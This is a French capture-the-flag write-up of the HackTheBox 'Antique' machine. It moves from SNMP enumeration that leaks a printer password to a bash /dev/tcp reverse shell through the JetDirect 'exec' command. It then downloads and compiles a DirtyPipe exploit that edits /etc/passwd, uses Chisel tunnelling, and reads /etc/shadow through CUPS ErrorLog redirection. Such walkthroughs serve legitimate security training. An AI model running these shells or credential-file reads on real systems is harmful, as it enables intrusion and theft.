> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Compte rendu HackTheBox d'Antique {% embed url="" %} {% hint style="warning" %} Compétences : * Énumération SNMP * Abus d’imprimante réseau * Exploitation de l’administration CUPS (ErrorLog) * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Nous allons établir notre espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance à l’aide de Nmap

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

### Analyse TCP : Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (23.7777)

**Scan de version des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```

### Analyse UDP : **Découverte des ports ouverts avec Nmap :** Nous effectuons également une analyse des ports UDP avec **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` Nous extrayons à nouveau les résultats avec `extractPorts`, et nous observons l’ouverture du port **161**, utilisé par SNMP. :

## Exploration des services ### Port 23 (Telnet) – HP JetDirect Lorsque nous essayons de nous connecter sur le port **23** via **Telnet**, nous rencontrons un service HP JetDirect qui nous demande un mot de passe. Nous pouvons essayer de nous connecter avec : ```bash nc -vn 10.10.11.107 23 ```

### Port 161 (SNMP) {% embed url="" %} Nous utilisons **snmpbulkwalk** pour énumérer les services SNMP exposés sur le port **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```

```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` Cela nous donne une chaîne de caractères hexadécimaux que nous convertissons en ASCII pour obtenir le contenu lisible : {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}

Ce canal contient des informations intéressantes, mais rien d’immédiatement utile pour l’exploitation. ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```

Lorsque nous essayons d’injecter une chaîne comme mot de passe sur le port 23 (JetDirect), nous utilisons des tentatives telles que : ```bash P@ssw0rd@123!!123 ```

## Abus d’imprimante réseau Nous avons détecté qu’il est possible d’exécuter des commandes via l’imprimante réseau. L’exploitation de cette vulnérabilité repose sur la `exec` commande qui permet d’injecter des commandes distantes. Par exemple : ```bash exec id ```

Cela renvoie les identifiants du système et permet d’exécuter d’autres commandes. **Shell inversé** Nous établissons un shell inversé en utilisant **nc** sur le port **443** de la machine attaquante : ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```

Ensuite, nous manipulons la session du shell afin d’obtenir un meilleur contrôle : ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### drapeau user.txt :)

## Élévation de privilèges ## 1. Exploitation DirtyPipe {% embed url="" %} Nous avons vérifié si la machine était vulnérable à l’exploit DirtyPipe, un bug qui permet de modifier des fichiers système en cours d’exécution. Nous avons constaté que la machine disposait de **gcc**, un compilateur C, disponible à l’emplacement `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` Ensuite, nous avons utilisé **Python3** pour transférer l’exploit de notre machine locale vers la machine cible. Sur notre machine locale, nous avons lancé un serveur HTTP pour héberger l’exploit : ```bash python3 -m http.server ``` Sur la machine victime, nous avons téléchargé l’exploit : ```bash wget http://10.10.14.4/exploit.c ```

Une fois l’exploit récupéré, nous avons compilé le fichier C avec **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} L’exploit modifie le `/etc/passwd` le fichier en injectant un hash de mot de passe, et ajoute un utilisateur `aaron` avec un mot de passe spécifique, le tout pour permettre une élévation de privilèges. {% endhint %}

Enfin, il suffit d’exécuter le script : ```bash ./exploit ``` Cela nous permet d’obtenir `root`/*/* l’accès à la machine

## 2. Redirection de port avec Chisel En inspectant les ports ouverts sur la machine cible, nous avons trouvé le port **631** (utilisé par CUPS). À l’aide de la commande suivante, nous avons confirmé la présence d’un service CUPS : ```bash netstat -nat ``` Le service CUPS est en version **1.6.1** et nous avons identifié qu’il pourrait être vulnérable. Pour rediriger ce port, nous avons utilisé **Chisel**, un outil de tunneling.

Nous avons d’abord compilé Chisel sur notre machine locale : {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` Ensuite, nous avons transféré l’exécutable Chisel vers la machine victime via un serveur HTTP Python3 : ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```

Sur notre machine, nous avons lancé le serveur Chisel : ```bash chisel server -p 8888 -reverse ``` Puis, sur la machine victime, nous avons configuré le client Chisel pour rediriger le port 631 vers notre machine locale : ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```

Cela nous permet d’accéder à l’interface web CUPS de la machine cible via un tunnel sécurisé. ### Exploitation de la vulnérabilité CUPS 1.6.1 {% embed url="" %} En utilisant **cupsctl**, nous avons modifié le **CUPS** la configuration du service pour rediriger le **ErrorLog** fichier journal vers un fichier sensible, comme **/etc/shadow**. Cela permet de lire ce fichier en tant que root via l’interface web CUPS. Commande pour modifier la configuration : ```bash cupsctl ErrorLog=/etc/shadow ``` Nous avons ensuite accédé à l’interface web CUPS en visitant l’URL suivante sur le serveur CUPS via notre tunnel : Cela a rendu possible la consultation du contenu du **/etc/shadow** fichier et d’obtenir le `root.txt` flag.

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.